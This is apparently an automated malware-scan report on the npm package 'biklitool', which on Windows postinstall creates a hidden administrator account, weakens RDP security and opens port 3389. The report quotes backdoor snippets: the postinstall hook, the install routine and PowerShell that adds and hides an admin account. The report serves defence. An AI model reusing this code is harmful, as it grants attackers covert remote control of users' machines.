It creates or enables a privileged local account, hides it, weakens RDP security, and opens inbound port 3389. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-14T10:27:01.903Z - **Finished:** 2026-08-14T10:27:51.029Z - **Download time:** 764 ms - **Static scan time:** 306 ms - **AI review time:** 48055 ms - **Total time:** 49126 ms ## Security analysis ### Published attack-surface review - **Summary:** On Windows npm install, the package requests elevation and provisions remote desktop access. It creates or enables a privileged local account, hides it, weakens RDP security, and opens inbound port 3389. - **Trigger:** npm postinstall on Windows - **Impact:** Unauthorized persistent remote access to the host. - **Evidence paths:** package.json, bin/biklimaster.js, lib/bikliwrapper.js - **Review source:** ai\_review - **Reviewed:** 2026-08-14T10:27:51.029Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** elevated hidden-account and RDP/firewall configuration - **Attack narrative:** Installing the package launches its install routine without an explicit CLI command. That routine elevates through UAC, installs bundled executables, enables RDP, creates or enables a local administrator, adds it to Remote Desktop Users, hides it from the sign-in screen, weakens RDP settings, and opens port 3389. This is a concrete persistence and remote-access chain. - **Rationale:** The install-time behavior is unconsented and materially changes host authentication and network exposure. The absence of outbound JavaScript networking does not mitigate the local backdoor behavior. - **Files touched:** bin/biklimaster.js, lib/bikliwrapper.js, payload/bikli-cli-installer.exe, payload/RDPWInst.exe, payload/rdpwrap.ini ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall unconditionally invokes the install command., Install enables RDP, invokes bundled installers, and creates an RDP administrator., PowerShell enables/adds a local account to Administrators and Remote Desktop Users, then hides it from sign-in., Wrapper disables NLA, permits unattended shadowing, and adds inbound RDP firewall rules. - **Evidence against:** No JavaScript HTTP client or remote download endpoint was found in inspected source., Actions are Windows-gated and request UAC elevation, but are still initiated by postinstall. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node bin/biklimaster.js install --postinstall ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node bin/biklimaster.js install --postinstall ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 5. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 6. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 7. Medium: Ships Native Binary - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** payload/bikli-cli-installer.exe - **Public source:** [View source]() Package ships native binary artifacts. Public source snippet (untrusted): ```text path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted] ``` ### 8. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/biklimaster.js - **Public source:** [View source]() Install enables RDP, invokes bundled installers, and creates an RDP administrator. Public source snippet (untrusted): ```javascript function install() { requireWindows(); if (!isAdministrator()) return elevateAndRun('install'); verifyPayload(); installBikli(); setupBikliKey(); console.log('Installing or updating Bikli Wrapper silently...'); const wrapper = runWrapper(['install', '--elevated']); if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim()); verifyRemoteDesktop(); createRdpAdministrator(); hideProtectedFolders(); ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/biklimaster.js - **Public source:** [View source]() PowerShell enables/adds a local account to Administrators and Remote Desktop Users, then hides it from sign-in. Public source snippet (untrusted): ```javascript `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`, `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`, `$verified=@()`, `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** biklitool - **Ecosystem:** npm - **Version:** 1.1.17 - **License:** BSD-3-Clause - **Version published:** 2026-08-14T10:19:58.862Z - **Package first seen:** 2026-08-14T10:27:51.029Z - **Package last seen:** 2026-08-15T09:38:17.105Z - **Known versions:** 3 - **Latest version:** 1.1.20 - **Appeal under review:** No - **Description:** Internal Windows installer for Bikli CLI and Bikli Wrapper - **Keywords:** bikli, rdp, vpn, windows, installer - **Runtime engines:** node: \>=18 - **Supported OS:** win32 - **Artifact files:** 10 - **Artifact unpacked size:** 13,699,698 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
